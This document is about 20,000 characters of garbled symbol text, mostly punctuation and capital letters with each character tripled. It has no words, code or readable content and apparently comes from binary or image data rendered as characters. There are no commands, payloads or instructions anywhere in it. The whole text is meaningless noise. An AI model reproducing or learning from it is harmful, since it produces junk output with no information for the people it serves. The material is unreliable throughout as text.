888:::>>>LLLTTTRRRJJJDDDCCCHHHMMMTTTXXX\\\aaabbbaaabbbUUU@@@<<<555///111HHHFFF777///===,,,"""666BBB;;;RRR888---,,,,,,++++++,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,+++777;;;999AAA@@@<<<======>>>IIILLLLLLIIICCC444...888AAAEEE???666444777AAAKKKGGGFFFGGGJJJFFFFFFKKKKKKCCC888555======EEEQQQQQQNNNGGG>>>555444000000444666888<<>>>>>>>>>>>>>>===>>>>>>>>>===============  """&&&   $$$***/// !!!******,,,---,,, ###***&&&###%%%((()))******&&&(((@@@---///CCC<<<&&& 555333333333333222222222222222222222222222222222222111111111111  """&&&  888DDDJJJLLLKKKHHHGGGRRRXXX\\\KKK888666999@@@!!!******,,,---,,,999===BBBEEEPPPWWWRRROOOGGGEEEJJJQQQTTTUUUVVVVVVRRRGGGBBB;;;IIIDDDEEE:::(((@@@---///CCC<<>>===:::999888>>>KKKKKKKKKGGGEEEOOOSSSMMMJJJJJJEEE:::777666888CCCJJJMMMKKKIIIHHHRRRXXX]]]LLL999777:::AAAPPPYYYYYY[[[]]]\\\JJJ>>>777666;;;@@@EEEHHHSSSZZZVVVRRRKKKIIINNNUUUXXXYYYZZZZZZVVVLLLGGG@@@NNNIIIKKK???444333333333333333333444555999@@@ZZZrrr```AAA:::CCCIIIbbbvvvoooXXX@@@666555555555555555555555555555555666666666666666666666666666666666666666666===AAABBBGGGFFFCCCBBB """&&&   $$$***/// !!!******,,,---,,, ###***&&&###%%%((()))******&&&(((@@@---aaapppdddPPPDDDYYYoooaaaOOOCCC???>>>>>>>>>>>>>>>>>>>>>>>>>>>=====================000444%%%  %%%***000111000''' )))---$$$ %%%)))'''(((&&&$$$"""###,,,333000***''''''""" ###111&&&111$$$333333333222333222333222222222222222222222222111111111111111000444%%%;;;===EEEIIIIIINNNSSSXXX^^^___]]]TTTBBB333000 )))---$$$999444===GGGQQQUUUSSSTTTRRRPPPNNNOOOXXX___\\\WWWRRRRRRNNNCCC:::@@@CCCIIIGGG888###111&&&111$$$<<<000,,,,,,,,,+++,,,+++,,,,,,,,,,,,,,,,,,,,,,,,+++++++++++++++++++++++++++++++++++++++---222:::EEECCC???CCCDDD>>>>>>;;;AAAFFFZZZ^^^OOOEEEBBBBBB>>>777999AAAEEEEEEJJJOOOTTTZZZ[[[ZZZQQQ???000---...444???GGGDDDIIISSSWWWNNNEEE777111;;;DDDOOOSSSQQQRRRPPPNNNLLLMMMVVV]]]ZZZTTTQQQQQQMMMBBB999???BBBHHHFFF777---,,,,,,,,,,,,,,,,,,,,,,,,++++++,,,NNN\\\QQQ>>>111GGG\\\OOO<<<111,,,,,,,,,,,,---,,,---------------------------------------------------------------000444===HHHEEEBBBEEEFFF@@@@@@>>>DDDIII]]]aaaRRRHHHEEEEEEAAA:::===DDDIIIIIINNNSSSXXX^^^___^^^UUUCCC444111222999DDDKKKIIINNNWWW\\\SSSJJJ<<<666@@@IIITTTXXXVVVWWWUUUTTTQQQRRR]]]ccc```[[[WWWWWWRRRHHH???EEEHHHNNNLLL===444333333333333333333333333333333333UUUcccXXXEEE999NNNdddWWWDDD999444444555444555444555555555555555555555666666666666666666666666666666666777777666999===FFFQQQNNNKKK000444%%%  %%%***000111000''' )))---$$$ %%%)))'''(((&&&$$$"""###,,,333000***''''''""" ###111&&&HHHUUUdddcccQQQYYYVVVCCC??????>>>>>>>>>>>>>>>>>>>>>>>>>>>===========================  !!!)))***%%%###$$$### ###$$$$$$$$$ '''(((""""""'''%%%&&&&&&***+++%%%###&&&######"""  &&&%%%333333333333333333333222222222222222222111111111111111111111000  DDD???BBBFFFEEEHHHOOOVVVWWWRRRPPPQQQPPPCCC444 ###$$$$$$PPPBBB===DDDLLLSSSTTTNNNKKKKKKNNNSSSQQQRRRRRRVVVVVVPPPOOORRRDDD===OOOCCCOOOMMMCCC  &&&%%%000,,,,,,,,,,,,,,,,,,,,,,,,,,,+++++++++++++++++++++++++++++++++++++++++++++++++++++++++---333;;;BBBAAA???>>>;;;>>>???BBBAAA???888777======;;;===???@@@:::>>>BBBAAADDDKKKRRRSSSNNNMMMNNNMMM???000...333666===EEEBBBEEEMMMNNNNNNNNN???;;;BBBJJJQQQRRRLLLIIIIIILLLQQQOOOPPPPPPTTTUUUOOOMMMPPPCCC<<>>FFFDDD111,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,------------------------------------------------------///555===DDDCCCBBB@@@>>>@@@BBBEEEDDDBBB<<<:::@@@@@@???@@@CCCCCC>>>BBBFFFEEEHHHOOOVVVWWWRRRQQQRRRQQQDDD555333777:::BBBJJJGGGIIIQQQSSSSSSRRRDDD@@@GGGOOOVVVWWWQQQNNNNNNQQQVVVUUUVVVVVV[[[[[[UUUSSSVVVIIIBBBTTTHHHTTTRRRIII;;;666777888333333333333333333333333;;;JJJXXXWWWEEEMMMKKK999444444444444444555555555555555555555555555555555666666666666666666666666666666666666888???FFFMMMLLLKKK !!!)))***%%%###$$$### ###$$$$$$$$$ '''(((""""""'''%%%&&&&&&***+++%%%###&&&######"""  &&&???@@@DDDGGGFFFCCCAAA??????>>>>>>>>>>>>>>>>>>>>>>>>>>>==============================<<<   %%%'''((( %%%###"""((()))***)))&&&######%%%"""$$$'''######!!! ###)))%%%&&&&&& ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,---------------------------------------......---111888===??????CCCBBB>>>======EEEFFFFFFGGGBBB===:::999;;;AAAFFFGGGDDDGGGNNNSSSUUUUUUNNNIIIFFFEEEAAA@@@???LLLSSSQQQPPPWWWXXXXXXWWWUUUQQQNNNRRRTTTQQQSSSVVVRRRMMMJJJMMMRRRPPPOOOKKKOOOPPPSSSYYYUUUFFF???KKKWWWWWWMMMMMMHHHAAA>>>===888555333222333333333333333444888;;;:::888666444444444444444444444555555555555555555555555555555555555666666666666666666666666777777666;;;AAAFFFHHHHHH  %%%'''((( %%%###"""((()))***)))&&&######%%%"""$$$'''######!!! ###)))%%%&&&&&& ????????????>>>?????????>>>>>>>>>>>>>>>>>>>>>>>>>>>==============================<<<<<<<<<       !!!"""### 777666222333222......000,,,$$$!!!######%%%+++)))&&&)))***+++***$$$(((,,,)))+++000)))...666:::666&&&,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,---------------------------000555111///555:::<<<888666666444555333777888;;;BBBAAA777333666999>>>EEEIIIFFFIIIMMMNNNOOOQQQFFFAAA???:::MMMeeeddd```aaa```\\\\\\^^^[[[RRROOORRRQQQSSSZZZXXXUUUXXXZZZZZZYYYSSSNNNLLLLLLWWW\\\YYY[[[```YYYKKKJJJHHHNNN___gggjjjfffWWWBBB777777555333333444333333333333333333333333444444444444444444444444444444444555555555555555555555555555555555666666666666666666666999>>>:::888>>>CCCEEE     !!!"""### 777666222333222......000,,,$$$!!!######%%%+++)))&&&)))***+++***$$$(((,,,)))+++000)))...666:::666&&&AAA??????>>>??????>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>==============================<<<<<<<<<<<<<<<  $$$+++### !!! ///IIIBBB111%%% &&&///444...,,,000///---+++***)))$$$(((***,,,444777)));;;===---,,,&&&  ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,------------,,,------...000222222///---///000///333333555888???@@@>>>777;;;AAAAAABBBBBBDDDLLLQQQXXXPPPMMMNNNBBB@@@>>>999???\\\vvvppp^^^SSSHHHCCCIIIKKKNNNTTT^^^ccc]]][[[___^^^\\\ZZZYYYXXXSSSNNNGGGJJJMMMXXXZZZ\\\444fffYYYKKKNNNJJJ>>>DDDIIIHHHlllmmm^^^]]]WWWCCC<<>>===999555333333333444333333333444444444444444444444444444555555555555555555555555555555555666666666666555666666888999<<<;;;888  $$$+++### !!! ///IIIBBB111%%% &&&///444...,,,000///---+++***)))$$$(((***,,,444777)));;;===---,,,&&&  DDD@@@????????????>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>===========================<<<<<<<<<<<<<<<<<<<<<      333DDD999***!!!&&&000333444111+++''')))++++++(((!!! )))...888===444***'''  000999555///*** ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,------------...333777444///...///444777777<<<<<<:::<<>>JJJaaaqqqgggXXXLLLCCCDDDLLLOOOTTT^^^aaabbb___ZZZUUUWWWZZZZZZVVVPPPLLLKKKDDDCCCBBBOOOYYY^^^gggllldddZZZVVVOOOPPPMMMPPPPPP```iiifff```[[[GGG<<<>>><<<===>>>>>>777444333333333333333444444444444444444444444444444444444555555555555555555555555555555555666666666666666888===@@@>>>     333DDD999***!!!&&&000333444111+++''')))++++++(((!!!NNN )))...888===444***'''  000999555///*** HHHDDD@@@?????????>>>>>>>>>>>>>>>>>>>>>>>>>>>===========================<<<<<<<<<<<<<<<<<<<<<<<<<<<    """000999(((!!!!!!&&&...,,,)))'''(((''''''''''''&&&  ###000333555666+++'''###(((###!!!  <<<,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,---111777:::333------000777>>>CCCIIIBBB:::444444333///222666888999>>>CCCAAA===>>>>>>;;;:::<<<>>>DDDIIIOOO^^^gggUUUOOONNNKKKIIIHHHMMMTTT\\\[[[WWWUUUVVVUUUUUUVVVUUUTTTOOOLLLMMMGGGBBB888888RRR___bbbeeeeee[[[VVVRRRXXXIIIFFFOOONNNSSSQQQIIIIIIIIIOOOKKK;;;999<<<>>>;;;777444333333333333333333444444444444444444444444444444444555555555555555555555555555555555666666666666:::@@@CCC   """000999(((!!!!!!&&&...,,,)))'''(((''''''''''''&&& RRRMMM ###000333555666+++'''###(((###!!!  IIIHHHBBB??????>>>>>>>>>???>>>>>>>>>>>>>>>===========================<<<<<<<<<<<<<<<<<<<<<<<<<<<;;;;;;     ***(((%%%"""''''''""")))&&& """### $$$+++%%%...111---)))$$$***555888,,, ???>>>===++++++++++++,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,...333222111...,,,---///333555;;;EEE???777333111000---333777:::;;;>>>HHHJJJCCC???999666444999@@@LLLWWWUUURRROOOTTTUUUJJJEEEIIIEEEGGGPPPWWWTTTNNNKKKPPPQQQNNNNNNSSSZZZSSSJJJKKKLLLAAA555333KKK]]]```]]]XXXFFFBBBBBBNNNEEEFFFTTTDDDCCCKKKOOO[[[eeehhh]]]CCC===???======;;;666333333333333333444333444444444444444444444444444444444555555555555555555555555555555555555666777===;;;     ***(((%%%"""''''''""")))&&& """### $$$+++%%%VVVWWWLLLAAA...111---)))$$$***555888,,,  WWW\\\[[[OOOBBB???>>>>>>>>>>>>>>>>>>>>>===========================<<<<<<<<<<<<<<<<<<<<<<<<<<<;;;;;;;;;<<<    $$$######!!!$$$***(((***------444555,,, """ !!!***///(((''',,,///111000###  ...kkk\\\TTTWWWQQQKKK+++++++++++++++++++++,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,---...///111555555999777444555555444>>><<<777;;;EEEPPPIIIDDDHHHOOOOOOKKKMMMKKKBBB===;;;>>><<<<<>>;;;IIIPPP<<>>>>>>>>>>>===========================<<<<<<<<<<<<<<<<<<<<<<<<<<<;;;<<<>>>@@@BBB@@@  !!!(((///*** $$$(((*********,,,***###!!!***...///''' $$$(((+++...)))!!!NNNFFFEEELLL\\\\\\YYYYYYYYYOOO+++++++++++++++++++++++++++++++++,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,///111333111333999@@@DDDHHHCCC>>>>>>;;;666777999::::::>>>HHHLLLMMMTTT[[[VVVJJJGGGFFFBBBBBBDDDGGGGGGJJJMMMKKKQQQUUUWWWWWWWWWYYYWWWPPPHHHBBB>>>;;;AAAFFFJJJEEEFFFOOOYYY\\\]]]UUUIII@@@<<<;;;333222>>>KKKSSSWWW[[[]]]XXXPPPGGG>>>???DDDGGGCCCGGGLLLEEECCCKKK[[[[[[YYYYYYXXXNNNOOORRRLLL===777555444333333333333333444444444444444444444444444444444555555555555555555555666888:::<<<  !!!(((///*** $$$(((*********,,,***###!!!***...///```TTTKKKGGGFFF???$$$(((+++...)))!!!******(((((((((!!!]]]]]]___^^^VVVPPPKKKDDD>>>>>>>>>===========================<<<<<<<<<<<<<<<<<<<<<<<<<<<;;;===AAAGGGDDD@@@FFFDDD  !!!"""$$$&&& %%%&&&### !!!"""&&&******(((,,,***###"""''' ###+++***""""""  RRROOOYYYkkkbbb[[[SSSOOOJJJMMMQQQQQQ+++++++++++++++++++++++++++++++++++++++,,,,,,,,,,,,,,,---222888555111777666777AAAJJJJJJGGGFFFIIIEEE;;;555>>>FFFGGGEEEFFFMMMMMMPPPRRRHHHDDDCCCIIILLLFFFJJJLLLIIIQQQSSSPPPJJJEEEEEEGGGJJJMMMNNNLLLFFF@@@@@@@@@>>>AAAIIIOOOTTTYYYXXXVVV[[[YYYQQQCCCCCCIIIPPPUUUOOORRR[[[ZZZQQQQQQOOOOOOFFF>>><<<@@@MMMPPPMMMWWWjjj```YYYRRRNNNJJJLLLQQQQQQPPPSSSSSSKKKEEE@@@999333333333333333333444444444444444444444444444444444555555555555555666;;;AAA   !!!"""$$$&&& %%%&&&### !!!"""&&&******(((fffddd\\\NNNNNNTTT[[[aaa ###+++***""""""   ''':::000)))""" ###ZZZaaafff```KKKJJJGGG@@@>>>>>>===========================<<<<<<<<<<<<<<<<<<<<<<<<<<<;;;;;;;;;===BBBAAADDDHHHIIIGGG$$$$$$"""$$$$$$!!!!!!###+++'''$$$!!!$$$)))'''""""""(((,,,*** (((888MMMMMM999***'''(((### IIIXXXdddhhheeeNNNFFFGGGBBB<<<>>>FFFMMM***+++++++++++++++++++++++++++++++++++++++,,,,,,...222222555:::;;;999DDDGGG@@@??????===CCCCCC;;;DDDJJJPPPPPPMMMPPPPPPLLLIIIMMMFFFAAACCCIIIOOOJJJAAADDDXXXTTTPPPHHHHHHGGGEEEKKKNNNQQQVVVTTTIIILLLOOOIIIGGGPPPUUUZZZXXXNNNFFFIIIMMMHHHBBBVVVggg{{{{{{hhhYYYVVVWWWRRRLLLKKKMMMDDD<<<:::<<>><<<555333333333333333333333333444444444444444444444444444444444555444555555777 $$$$$$"""$$$$$$!!!!!!###+++'''$$$!!!$$$)))'''""""""(((,,,*** QQQTTTXXXSSSMMMaaarrr999***'''(((### &&&222666444 $$$***%%%+++ $$$"""!!!****** %%%%%%###"""!!!%%%******++++++++++++,,,'''###"""!!!***444FFFLLL>>>222'''+++---GGGOOOMMMPPPYYYTTTLLLFFFLLLLLLPPPKKKGGGJJJ444---+++++++++++++++++++++///...---222;;;<<>>222'''+++---(((###%%%&&&222--- !!!"""$$$((((((***'''$$$###!!!   $$$$$$'''...---(((###%%%)))***%%% ###...888111222999666///))) '''\\\QQQJJJSSSOOOHHHEEEEEEHHH@@@DDDDDDAAADDD===...222222---,,,111888;;;======>>>FFFKKKIIIBBBCCC???;;;;;;???DDDFFFGGGHHHJJJMMMOOOSSSTTTUUUSSSOOOOOOLLLLLL>>>888777666777;;;CCCJJJFFFHHHJJJHHHFFFLLLQQQPPPTTT[[[ZZZUUUPPPRRRVVVWWWRRRNNNHHHEEELLLPPP\\\fff___```gggddd]]]WWWLLLDDDFFFEEE;;;===VVVYYYOOOGGGPPPMMMFFFDDDCCCFFF>>>CCCCCCAAADDD>>>>>>FFFVVVccc^^^JJJ777555;;;???CCCDDD888444333333333333444444444444444444444777::::::666666;;;AAADDDFFFFFFGGGOOOTTTRRRKKKLLLHHH"""$$$((((((***'''$$$###!!!   $$$$$$'''...---(((###%%%)))***%%%YYYSSSPPPWWW\\\hhhqqqjjjlllsssppp///))) '''*** !!!&&& ...###   ###'''(((***,,,((('''+++...---###&&&(((------%%%"""!!!&&&""" ''',,,)))&&&  MMMNNNSSSMMMWWW\\\VVVKKK<<<888777  /// 000777BBBDDD@@@???BBBEEEIIIEEEAAAAAA===<<>>???KKKRRRXXXSSSNNNQQQJJJDDD???JJJTTTWWWTTTJJJIIIKKKHHHBBBDDDCCC>>>BBBBBB999444<<>>???KKKLLL>>>444555=== 666  """...333444444000)))***000---***   %%%'''***+++)))&&&'''(((%%%###)))222333###$$$""";;;FFFPPPLLL@@@===CCCIIIJJJLLLNNNNNNKKKUUUTTTOOOKKKAAABBBJJJSSSPPPLLLJJJAAA777777;;;<<>>@@@>>>:::777666777===AAABBB@@@999777888AAAIIITTT```eeeffffffccc[[[]]]ccc```]]]SSSLLLDDDBBB:::888@@@KKKMMMOOOSSSRRR %%%'''***+++)))&&&'''(((%%%###)))222333###$$$"""###NNNTTTUUUWWWYYYYYYVVV```___ZZZVVVMMMNNNUUU%%%"""     $$$"""###))) %%%*** ,,,333111111000...***%%%"""  """(((###$$$)))&&&!!!(((111666666"""''')))###!!!######""" &&&######$$$UUUUUUTTTEEE>>>@@@@@@SSSggg[[[???777 ))) %%%*** ,,,333111111000...***%%%"""  """(((###$$$)))&&&!!!(((111666666"""''')))###!!!######"""IIIHHHBBBCCCCCCCCC<<<888===@@@@@@LLLSSSQQQIIICCCCCCHHHQQQRRRQQQQQQPPPBBB:::======PPPdddXXX<<<444888<<<:::888888===>>>666222222222222222111333888BBBLLLUUURRRTTTYYYIII;;;444555DDDVVV\\\QQQ:::<<>>DDD@@@FFFQQQVVVKKKEEELLLLLLLLLPPPQQQPPPUUUOOOEEEDDD;;;GGG]]]fffRRRAAA;;;:::222555@@@TTTcccTTTDDD@@@@@@:::333222222777AAABBBNNNXXXQQQFFF<<<777444444AAANNNNNNHHH888===LLLPPPWWW^^^]]]```___[[[UUUOOOOOOJJJ<<<888:::888888;;;<<<;;;<<>>...!!! ###   (((222***!!!   ###333555,,,%%%###""" $$$===666///%%%''')))   DDDHHHCCCBBBIIITTTKKKCCCMMMKKKIIIMMMRRRRRRQQQRRROOOJJJ<<>>...!!!"""   '''!!!222CCCLLLEEE&&&(((:::999777888777444444333000222000,,,(((  ))))))###''',,,333999444333444+++###///)))$$$,,,+++---444777...&&&"""   ###IIIGGGFFFCCCIIITTTWWWVVV]]][[[III@@@HHH444777!!!,,,(((---%%% &&&999???;;;000"""222CCCLLLEEE&&&(((:::999777888777444444333000222000,,,(((  ))))))###''',,,333999444333444+++###///)))$$$,,,+++---444777...&&&"""   ###===>>>DDDHHHGGGDDDBBBBBB???EEEPPPSSSRRRYYYXXXFFF===EEEbbbeeeDDDPPP[[[WWW\\\SSSOOOUUUhhhnnnjjj___QQQLLLEEE;;;333999BBBFFFPPPWWWQQQGGGbbbttt}}}vvvVVVIIIYYYkkkjjjhhhiiihhheeeeeedddcccdddbbb^^^ZZZKKKDDDDDDIIIEEEBBB???===>>>>>>;;;>>>LLLKKKHHHMMM]]]]]]WWWQQQ[[[aaahhhmmmiiihhhiii```XXXddd^^^YYYbbbaaaccckkkmmmeee\\\XXXVVVNNNGGGBBB???>>>@@@EEE@@@???AAABBBRRRZZZTTTKKKIIIIIIOOOSSSSSSOOO"""%%%%%%+++***444777!!!,,,(((---%%% &&&999???;;;000"""$$$ ''',,,)))---888BBBIIIHHH555&&&,,,222222$$$!!!&&&+++......&&&$$$***444444### """%%%  ###---444222444444///***---111666999//////222+++$$$""""""  $$$!!!JJJHHHCCCBBB???FFFRRRXXX\\\aaa///)))***)))###"""333===;;;444$$$IIIHHH555&&&,,,222222$$$!!!&&&+++......&&&$$$***444444### """%%%  ###---444222444444///***---111666999//////222+++$$$""""""  $$$!!!@@@<<<@@@EEECCC>>>===:::BBBNNNTTTXXX]]]]]]KKK222666HHHWWWGGGIIIKKKKKKYYYWWWQQQQQQbbbllljjjcccSSSMMMJJJ GGGWWW\\\YYY]]]iiissszzzxxxeeeVVV]]]ccccccUUURRRXXX]]]``````WWWUUU]]]ffffffUUURRRQQQOOOTTTWWWRRRGGGJJJJJJEEECCCFFFKKKLLLQQQOOOPPPQQQPPPTTTWWWbbbhhhggghhhiiiddd___bbbgggkkknnneeeeeehhhaaaZZZXXXXXXSSSKKKDDDBBBFFFCCCBBBFFFEEEGGGGGGIIIVVV\\\YYYUUUQQQKKKHHHKKKQQQOOO  '''***000///)))***)))###"""333===;;;444$$$--- ''')))***444:::>>>???,,, (((---333!!! """$$$+++***///555666333,,,(((!!!"""((($$$$$$$$$###***,,,111111111...%%%&&&111444,,,)))(((&&&   !!!"""MMMIIIIIIIIIIIIDDDEEEJJJLLLKKK'''*** ### 555777555///333;;;888888---333!!! """$$$+++***///555666333,,,(((!!!"""((($$$$$$$$$###***,,,111111111...%%%&&&111444,,,)))(((&&&   !!!"""DDDDDDEEEEEE@@@AAAEEEIIIGGGHHHUUUXXX===;;;@@@QQQMMMEEEDDDNNNdddfffccc///333;;;888888--- LLLWWWYYY[[[dddjjjnnnooo]]]PPPYYY^^^dddRRRQQQSSSNNNUUU]]]\\\aaafffhhheee___ZZZSSSMMMNNNTTTZZZVVVWWWWWWRRRKKKEEEFFFIIIHHHGGGHHHKKKOOOSSSWWW^^^aaafffffffffcccZZZ[[[fffiiiaaa^^^^^^[[[UUUVVVVVVQQQKKKEEECCCEEEMMMLLLEEEDDDHHHJJJFFFGGGNNNTTTYYYYYYRRRRRRQQQSSSOOO'''*** ### 555777555///333;;;888888--- ,,,###!!!%%%((("""!!!...777:::222 &&&***'''%%%"""(((%%%%%%'''...111666999999888///***''' &&&333777)))%%%***+++555444///333...&&&)))***$$$  !!!MMMOOOKKKKKKQQQQQQQQQPPPNNNIII 111,,,### 000***!!!,,,@@@888:::>>><<<333666;;;,,,%%%'''...111666999999888///***''' &&&333777)))%%%***+++555444///333...&&&)))***$$$  !!!  111,,,### 000***!!!,,,@@@888:::>>><<<333666;;;,,,###!!!%%%((("""FFFHHHQQQ^^^gggkkkcccPPPWWW[[[XXXVVVSSSYYYVVVVVVYYY```ccchhhjjjkkkjjjaaa\\\YYYSSSSSSYYYeeeiii\\\MMMLLLLLLMMMNNNOOOFFFAAAEEENNNRRRYYY^^^```jjjhhhdddhhhccc[[[^^^___YYYUUUSSSQQQQQQRRRQQQNNNJJJCCCAAACCCKKKNNNKKKIIIRRRXXXQQQHHHJJJMMMNNNLLLHHHNNNSSSUUUQQQ  111,,,### 000***!!!,,,@@@888:::>>><<<333666;;;,,,###!!!222222333000,,,&&& ''''''"""""" %%%***...,,,***$$$$$$,,,,,,666777777777999111,,,,,,+++$$$"""$$$///*** """$$$***+++***,,,))))))(((***...+++,,,///###  OOORRRPPPLLLIIIMMMQQQUUUUUUNNN'''+++###***222888HHHKKK888...222222777999111,,,,,,+++$$$"""$$$///*** """$$$***+++***VVVSSSSSSRRRTTTYYYVVVWWWYYYNNN    ######'''+++###***222888HHHKKK888...222222222333000,,,&&& ''''''"""GGGCCCBBBFFFSSSQQQVVV[[[___]]][[[UUUNNNUUU^^^^^^hhhiiihhhhhhkkkccc^^^___^^^WWWTTTWWWbbb\\\SSSRRRLLLDDDHHHKKKKKKFFFFFFJJJMMMRRRVVVXXX^^^```___aaa]]]]]]]]]___dddaaabbbeeeYYYVVVSSSNNNPPPMMMGGGCCCFFFGGGEEEEEELLLQQQSSSOOOPPPSSSQQQPPPUUUWWWVVVRRR ######'''+++###***222888HHHKKK888...222222222333EEE@@@666000%%%%%%,,,))))))111---%%%######&&&$$$!!!###$$$"""(((+++111000,,,+++000)))&&&((()))&&&"""###***...***### $$$(((&&&$$$$$$"""$$$***---//////$$$ """ KKKOOORRRNNNKKKPPPXXXVVVNNNKKK%%%***---555222&&&)))666EEE)))&&&"""###***...***###555555<<<@@@DDDEEEEEENNNRRRPPPNNNNNNLLLOOOTTTXXXZZZYYYNNNIIIHHHDDDGGGKKK"""  &&&%%%222&&&)))666EEE@@@666000%%%%%%,,,))))))111---%%%###FFFSSSVVVUUURRRTTTUUUOOONNNLLLSSSYYY\\\bbbbbb^^^]]]bbb[[[XXXZZZ[[[XXXTTTUUU]]]aaa]]]VVVNNNGGGHHHJJJJJJGGG??????FFFKKKOOOOOOOOOXXX\\\ZZZXXXYYYWWWYYY___ccceeedddYYYTTTRRROOORRRVVVXXXPPPIIIFFFCCCBBBBBBGGGSSSSSSNNNPPPPPPPPPUUUXXXTTT&&&%%%%%%***---555222&&&)))666EEE@@@666EEEAAA777---!!!&&&+++...///)))### !!!"""$$$######%%%,,,+++)))"""!!!&&&,,,+++&&& &&& """###$$$""" JJJJJJMMMOOOMMMQQQ]]]bbb]]]TTT    ###)))((()))888EEETTTOOODDDAAA???888888???AAA:::===@@@CCCCCC@@@IIIJJJIIIPPPIIIDDDDDDJJJLLLNNNNNNLLLEEE===:::>>>EEEIIIEEE::: +++000+++###  EEEAAA777---!!!&&&+++...///)))### !!!GGGNNNNNNOOOOOOSSSUUUTTTLLLOOOTTTWWW^^^]]][[[TTTSSSPPPNNNPPPYYY___^^^YYYMMMKKKIIIBBBBBBIIIKKKDDDGGGJJJMMMMMMJJJSSSTTTSSS[[[TTTNNNOOOUUUWWWXXXYYYWWWPPPHHHEEEIIIOOOTTTPPPEEE@@@AAABBBDDDHHHPPPRRRKKKMMMOOOPPPRRRUUU+++000+++###    ###)))((()))888EEEAAA777777:::>>>777&&& $$$%%%$$$!!!$$$&&&$$$###&&&)))&&&$$$""""""!!! !!!###(((!!!  DDDFFFIIIOOOPPPTTT[[[dddccc^^^***$$$  ///999555888eeeKKKKKKJJJEEEAAA:::@@@EEE>>>??????CCCBBB:::???AAABBBJJJHHHDDD???BBBGGGKKKNNNSSSKKK@@@<<<888999??????777222 """***333222---***$$$&&& $$$%%%$$$!!!LLLGGGBBBCCCJJJOOOHHHGGGKKKQQQVVVWWWVVVUUUOOOKKKOOOXXX[[[YYYVVVTTTTTTTTTOOOKKKDDDJJJOOOHHHIIIIIIMMMLLLDDDJJJKKKLLLTTTSSSOOOJJJLLLRRRVVVXXX]]]VVVKKKGGGCCCDDDIIIJJJBBB>>>===AAAJJJNNNPPPUUUNNNIIIKKKNNNUUU"""***333222---***$$$  ///999555888777:::>>>""",,,---(((&&&---"""***,,,---%%% """ $$$------$$$$$$###'''$$$""""""&&&""" %%%  $$$### KKKIIILLLOOOMMMLLLTTT```111+++$$$  IIIPPPEEEMMMMMMLLLPPPMMMFFFHHHKKKKKKOOOKKKIIIOOOIIIGGGCCC@@@BBB???<<<;;;CCCGGGCCCGGGKKKOOOMMMGGG@@@===<<<<<<777777777"""...111+++$$$ ,,,---%%% """ ;;;???FFFOOOMMMHHHGGGLLLNNNOOOOOONNNQQQVVV``````QQQOOOOOOWWWVVVUUUZZZWWWPPPRRRUUUVVVYYYUUUSSSYYYTTTQQQMMMKKKLLLIIIGGGFFFNNNRRRNNNRRRUUUYYYXXXRRRKKKHHHGGGGGGBBBBBBBBBGGGLLLNNNOOOOOONNNQQQTTT"""...111+++$$$  """,,,---!!!+++---"""(((&&&+++***)))$$$&&&)))###   ###,,,...+++###!!!!!!&&&((('''%%% $$$### PPPTTTRRRTTTSSSMMMTTT]]]ccc///)))"""  &&& ===EEEOOOPPPOOONNNIIIIIIIIIMMMLLLFFF??????BBBAAA???AAAAAAAAA======CCCDDDBBB@@@<<<===DDDKKKJJJBBB<<<;;;<<<888>>>AAABBB""" """"""###+++222///)))&&&)))###   IIIGGGFFFIIIKKKNNNTTT^^^aaa^^^UUUSSSSSSYYYZZZYYYXXXSSSSSSSSSWWWVVVPPPJJJIIILLLKKKJJJKKKLLLKKKHHHHHHMMMOOOMMMKKKGGGHHHOOOUUUUUUMMMGGGFFFGGGDDDIIILLLMMMMMMOOOUUUYYYVVVYYY"""###+++222///)))"""  &&& !!!+++!!!111999333$$$###!!!   ###(((***))) """ !!!###$$$######$$$  PPPUUUTTTNNNRRRUUUUUU]]]222444///---***   %%%'''IIILLLIIIKKKHHHJJJLLLLLLLLLLLLMMMHHHCCC<<<<<<>>>;;;===EEEEEECCC 999:::???CCCCCCAAA:::777777666<<>>>>>FFFUUUVVVSSSNNNKKKGGGOOOIII&&&***,,,///%%%$$$  SSSOOOHHHEEECCCBBBGGGLLL%%%***$$$  $$$$$$!!!"""$$$***---aaaaaa```aaa^^^XXXUUUQQQZZZTTTQQQNNNOOOZZZ^^^```cccXXXXXXSSSRRRPPPPPPMMMGGG???===>>>@@@FFFKKKTTT___ZZZSSSPPPOOOMMMRRRXXX%%%***$$$###...333333,,,'''&&& !!!""" !!!###"""$$$...!!!)))"""!!!    """###""" '''---///...'''%%%%%%!!!  &&&******&&&###!!!  $$$,,,,,,$$$"""\\\___XXXSSSZZZWWWVVV,,,555555111///***&&&     $$$ LLLMMMLLLDDDGGGIIIMMMMMMIIIHHHHHHHHH&&&******&&&###!!!  $$$,,,VVVNNNJJJMMMTTTWWW&&& $$$ $$$...!!!""""""  ***///...,,,***(((%%%"""%%%'''$$$###""" &&&+++((()))***]]]bbbddd]]]YYY^^^aaa444777666222000,,,***%%%$$$### ###"""###'''%%% EEEBBBEEEAAAAAAAAAHHH???>>>>>>>>>888444444...,,,---///...,,,+++***)))(((PPPMMMDDDBBBGGG"""%%%'''$$$###""" &&&+++((()))SSSUUUZZZ###'''%%% !!!"""'''###     (((333444---***+++***"""***---(((((($$$$$$$$$   )))***"""***___aaadddgggfffbbb]]]aaa777888444///,,,'''!!!$$$...,,,  %%%"""%%%TTTBBB:::======:::<<>><<>>EEEKKKOOO\\\ccc```\\\\\\```ddd333111///,,,***(((---+++//////(((  DDD===JJJWWW\\\TTTOOONNNNNNPPPQQQTTTdddmmmaaaXXXSSSPPPBBB<<<666111222222000000///999;;;555...,,,,,,///666999::::::))))))(((((('''***""" !!! """###&&&666???333***&&&#########!!!   !!! %%%'''  '''%%% !!!)))"""""""""$$$ 